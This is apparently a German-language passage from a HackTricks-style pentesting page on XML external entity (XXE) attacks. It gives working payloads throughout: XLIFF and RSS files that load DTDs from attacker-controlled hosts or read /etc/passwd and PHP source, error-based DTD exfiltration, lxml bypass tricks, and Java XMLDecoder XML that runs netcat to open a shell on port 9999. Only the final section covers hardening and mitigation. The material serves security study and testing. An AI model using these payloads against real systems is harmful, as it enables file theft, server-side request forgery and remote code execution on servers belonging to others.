<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
## XLIFF - XXE

Dieses Beispiel ist inspiriert von [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)

XLIFF (XML Localization Interchange File Format) wird verwendet, um den Datenaustausch in Lokalisierungsprozessen zu standardisieren. Es ist ein XML-basiertes Format, das hauptsächlich zum Übertragen lokalisierbarer Daten zwischen Werkzeugen während der Lokalisierung und als gemeinsames Austauschformat für CAT (Computer-Aided Translation) Werkzeuge verwendet wird.

### Blind Request Analyse

Eine Anfrage wird an den Server mit folgendem Inhalt gesendet:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Diese Anfrage löst jedoch einen internen Serverfehler aus, der speziell ein Problem mit den Markup-Deklarationen erwähnt:
```json
{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
Trotz des Fehlers wird ein Treffer auf Burp Collaborator aufgezeichnet, was auf ein gewisses Maß an Interaktion mit der externen Entität hinweist.

Out of Band Data Exfiltration Um Daten zu exfiltrieren, wird eine modifizierte Anfrage gesendet:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Dieser Ansatz zeigt, dass der User Agent die Verwendung von Java 1.8 anzeigt. Eine bemerkte Einschränkung dieser Version von Java ist die Unfähigkeit, Dateien mit einem Zeilenumbruchzeichen, wie z.B. /etc/passwd, mit der Out of Band-Technik abzurufen.

Error-Based Data Exfiltration Um diese Einschränkung zu überwinden, wird ein Error-Based-Ansatz verwendet. Die DTD-Datei ist wie folgt strukturiert, um einen Fehler auszulösen, der Daten aus einer Ziel-Datei enthält:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und anzeigt, dass der Server versucht, auf die angegebene Datei zuzugreifen:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Um den Inhalt der Datei in die Fehlermeldung einzufügen, wird die DTD-Datei angepasst:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Diese Modifikation führt zur erfolgreichen Exfiltration des Inhalts der Datei, da sie im Fehlerausgabe, die über HTTP gesendet wird, reflektiert wird. Dies weist auf einen erfolgreichen XXE (XML External Entity) Angriff hin, der sowohl Out of Band- als auch Error-Based-Techniken nutzt, um sensible Informationen zu extrahieren.

## RSS - XEE

Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle.

### Ping back

Einfacher HTTP-Anfrage an den Server des Angreifers.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Datei lesen
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Quellcode lesen

Verwendung des PHP base64-Filters
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
## Java XMLDecoder XEE zu RCE

XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.

### Verwendung von Runtime().exec()
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
### ProcessBuilder
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
## XXE + WrapWrap + Lightyear + Bypässe

Schau dir diesen erstaunlichen Bericht an [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)

## Werkzeuge


{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}

### Python lxml Parameter-Entity XXE (Fehlerbasierte Date Offenlegung)

> [!INFO]
> Die Python-Bibliothek **lxml** verwendet **libxml2** im Hintergrund. Versionen vor **lxml 5.4.0 / libxml2 2.13.8** erweitern weiterhin *Parameter*-Entitäten, selbst wenn `resolve_entities=False` gesetzt ist, wodurch sie erreichbar sind, wenn die Anwendung `load_dtd=True` und/oder `resolve_entities=True` aktiviert. Dies ermöglicht Fehlerbasierte XXE-Payloads, die den Inhalt lokaler Dateien in die Parser-Fehlermeldung einbetten.

#### 1. Ausnutzen von lxml < 5.4.0
1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z. B. `%config_hex;`).
2. Erstelle eine interne DTD, die:
* Die lokale DTD mit `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` lädt.
* Die undefinierte Entität so umdefiniert, dass sie:
- Die Zieldatei liest (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Eine weitere Parameterentität erstellt, die auf einen **ungültigen Pfad** verweist, der den Wert `%flag;` enthält und einen Parserfehler auslöst (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Schließlich `%local_dtd;` und `%eval;` erweitern, sodass der Parser auf `%error;` stößt, `/aaa/<FLAG>` nicht öffnen kann und das Flag innerhalb der ausgelösten Ausnahme leakt – was oft von der Anwendung an den Benutzer zurückgegeben wird.
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
```
Wenn die Anwendung die Ausnahme ausgibt, enthält die Antwort:
```
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> Wenn der Parser sich über `%`/`&`-Zeichen im internen Teil beschwert, kodieren Sie sie doppelt (`&#x26;#x25;` ⇒ `%`), um die Expansion zu verzögern.

#### 2. Umgehung der lxml 5.4.0-Härtung (libxml2 weiterhin anfällig)
`lxml` ≥ 5.4.0 verbietet *error* Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin:
1. Lesen Sie die Datei in eine Parameterentität `%file`.
2. Deklarieren Sie eine weitere Parameterentität, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet.
3. Platzieren Sie `&c;` im XML-Körper. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt er fehl und spiegelt die vollständige URI – einschließlich des Dateiinhalts – in der Fehlermeldung wider.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
```
#### Wichtige Erkenntnisse
* **Parameter-Entitäten** werden weiterhin von libxml2 erweitert, selbst wenn `resolve_entities` XXE blockieren sollte.
* Eine **ungültige URI** oder **nicht vorhandene Datei** reicht aus, um kontrollierte Daten in die ausgelöste Ausnahme zu concatenieren.
* Die Technik funktioniert **ohne ausgehende Konnektivität**, was sie ideal für streng gefilterte Umgebungen macht.

#### Minderungshinweise
* Aktualisieren Sie auf **lxml ≥ 5.4.0** und stellen Sie sicher, dass das zugrunde liegende **libxml2** **≥ 2.13.8** ist.
* Deaktivieren Sie `load_dtd` und/oder `resolve_entities`, es sei denn, es ist absolut erforderlich.
* Vermeiden Sie es, rohe Parser-Fehler an den Client zurückzugeben.

### Beispiel zur Härtung von Java DocumentBuilderFactory

Java-Anwendungen analysieren häufig XML mit `DocumentBuilderFactory`. Standardmäßig **erlaubt die Fabrik die Auflösung externer Entitäten**, was sie anfällig für XXE und SSRF macht, wenn keine zusätzlichen Härtungsflags gesetzt sind:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
```
Sicherheitskonfiguration Beispiel:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();
```
Wenn die Anwendung DTDs intern unterstützen muss, lassen Sie `disallow-doctype-decl` deaktiviert, aber **lassen Sie** die beiden `external-*-entities` Funktionen **immer** auf `false` gesetzt. Die Kombination verhindert klassische Datei-Offenlegungs-Payloads (`file:///etc/passwd`) sowie netzwerkbasierte SSRF-Vektoren (`http://169.254.169.254/…`, `jar:`-Protokoll usw.).

Fallstudie aus der Praxis: **CVE-2025-27136** im Java S3-Emulator *LocalS3* verwendete den oben gezeigten anfälligen Konstruktor. Ein nicht authentifizierter Angreifer konnte einen manipulierten XML-Körper an den `CreateBucketConfiguration`-Endpunkt übermitteln und den Server dazu bringen, lokale Dateien (zum Beispiel `/etc/passwd`) in die HTTP-Antwort einzubetten.

### XXE in JMF/Print Orchestration Services → SSRF

Einige Druck-Workflow-/Orchestrierungsplattformen bieten einen netzwerkseitigen Job Messaging Format (JMF) Listener, der XML über TCP akzeptiert. Wenn der zugrunde liegende Parser ein `DOCTYPE` akzeptiert und externe Entitäten auflöst, können Sie ein klassisches XXE ausnutzen, um den Server zu zwingen, ausgehende Anfragen zu stellen (SSRF) oder auf lokale Ressourcen zuzugreifen.

Wichtige Punkte, die in der Wildnis beobachtet wurden:
- Netzwerk-Listener (z. B. JMF-Client) an einem dedizierten Port (häufig 4004 in Xerox FreeFlow Core).
- Java-basiertes XML-Parsen innerhalb eines JARs (z. B. `jmfclient.jar`) ohne `disallow-doctype-decl` oder deaktivierte Entitätsauflösung.
- Out-of-band-Callbacks bestätigen zuverlässig die Ausnutzung.

Minimale JMF-Stil SSRF-Abfrage (Struktur variiert je nach Produkt, aber das DOCTYPE ist entscheidend):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
Hinweise:
- Ersetzen Sie die Entitäts-URL durch Ihren Mitarbeiter. Wenn SSRF möglich ist, wird der Server sie beim Parsen der Nachricht auflösen.
- Zu beachtende Härtungen: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- Selbst wenn der JMF-Port keine Dateien bereitstellt, kann SSRF für interne Recon oder um Management-APIs zu erreichen, die an localhost gebunden sind, verkettet werden.

Referenzen für diesen Vektor sind am Ende der Seite aufgeführt.

## Referenzen

- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)

- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Informationen über HTTP mit eigener externer DTD extrahieren: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)

- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 – Parameter-entity XXE immer noch möglich](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai – Von Support-Ticket zu Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Sicherheitsleitfaden (Architektur/Ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Sicherheitsbulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)

{{#include ../banners/hacktricks-training.md}}